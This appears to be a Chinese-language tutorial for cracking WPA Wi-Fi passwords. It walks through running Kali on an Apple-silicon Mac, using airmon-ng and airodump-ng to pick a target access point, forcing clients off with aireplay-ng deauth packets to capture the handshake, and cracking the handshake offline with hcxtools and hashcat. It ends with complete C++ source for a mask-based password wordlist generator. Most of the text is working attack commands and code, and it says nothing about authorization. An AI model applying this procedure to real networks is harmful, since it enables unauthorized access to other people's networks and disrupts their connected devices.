-
购买支持kali的网卡,比如mt7921u系列,支持wifi6,2.4G+5G+6G
-
在M芯片arm架构系列的mac上,安装虚拟机utm
https://mac.getutm.app -
下载kali linux镜像,国内可以用中科大源
https://mirrors.ustc.edu.cn/kali-images/
下载arm-installer的iso镜像即可 -
utm新建虚拟机,选择虚拟化(更快但是只能运行本机架构。kali的工具已经支持arm了)
注意点1: m芯片的mac+utm虚拟机的话,需要添加一个串口tty,安装的时候在tty操作。不然会黑屏提示display is not active ,无法安装kali
注意点2:第一次安装成功后记得弹出dvd镜像,否则重启优先进入dvd镜像boot
参考
https://www.youtube.com/watch?v=bcaF1OSivYI
6分44秒处操作 -
启动kali,插入usb网卡并分配到虚拟机
-
在桌面创建文件夹,新建terminal用于扫描+抓包
sudo airmon-ng start wlan0
# 把网卡变成监听状态 用ifconfig可以看到wlan0 变为wlan0monsudo airmon-ng stop wlan0mon
#用完记得还原网卡sudo airodump-ng wlan0mon
#扫描2.4G的 wifi 获取想渗透的ap的mac地址和活跃情况
#扫描5G频段加上 -C 5180-5885sudo airodump-ng -c [Channel] --bssid [MAC] -w /保存的path --write-interval 1 --output-format pcapng wlan0mon
#监听数据并保存为cap文件 1秒写入1次
- 新建terminal,用于deauth客户端
aireplay-ng -0 1 -a [MAC] -c [ClientMAC] wlan0mon #使用第0种攻击模式(deauth)发送 1次deauth数据包是客户端下线重新握手 -c 客户端mac可以不填 不停发送death是-0 0
- 抓包窗口显示 [WPA handshake: xx:xx:xx:xx:xx:xx]
Ctrl+C停止抓包,拷贝cap文件到mac上
9.mac安装homebrew https://brew.sh/
brew install hcxtools #预处理cap数据包
brew install hashcat #离线破解hash
- 清洗cap文件+hash穷举破解
hcxpcapngtool -o testwifi.hc2000 testwifi.cap #清洗数据包获得干净hash文件,观察EAPOL pairs (best) wpa4次 握手包大于1即可hashcat -m 22000 xhb34.hccapx string.txt --force
#使用hashcat在字典中破解密码
#成功 显示 Status...........: Cracked
#失败 显示 Status...........: Exhausted
- 纯C++代码 wifi字典生成器 输入可能存在的固定字符和*来代表 纯数字/字母和数字/任意asc2字符
#include <iostream>
#include <fstream>
#include <string>
#include <vector>using namespace std;// 根据用户选择返回字符集
string getCharset(int mode)
{switch (mode){case 1: // 任意可键盘输入的字符(可打印 ASCII){string charset;for (char c = 32; c <= 126; ++c) // 0x20 ~ 0x7E{charset.push_back(c);}return charset;}case 2: // 字母 + 数字return "abcdefghijklmnopqrstuvwxyz""ABCDEFGHIJKLMNOPQRSTUVWXYZ""0123456789";case 3: // 纯数字return "0123456789";default:throw invalid_argument("无效的模式选择");}
}// 递归生成组合
void generate(const string& mask,const string& charset,size_t index,string& current,ofstream& out)
{if (index == mask.size()){out << current << '\n';return;}if (mask[index] == '*'){for (char c : charset){current[index] = c;generate(mask, charset, index + 1, current, out);}}else{current[index] = mask[index];generate(mask, charset, index + 1, current, out);}
}int main()
{string mask;int mode;cout << "请输入掩码字符串(例如 xiaoming***): ";cin >> mask;cout << "请选择 * 的含义:\n";cout << "1 - 任意字符\n";cout << "2 - 字母 + 数字\n";cout << "3 - 纯数字\n";cout << "你的选择: ";cin >> mode;string charset;try{charset = getCharset(mode);}catch (const exception& e){cerr << e.what() << endl;return 1;}ofstream out("string.txt");if (!out){cerr << "无法创建输出文件\n";return 1;}string current = mask;generate(mask, charset, 0, current, out);cout << "生成完成,结果已写入 string.txt\n";return 0;
}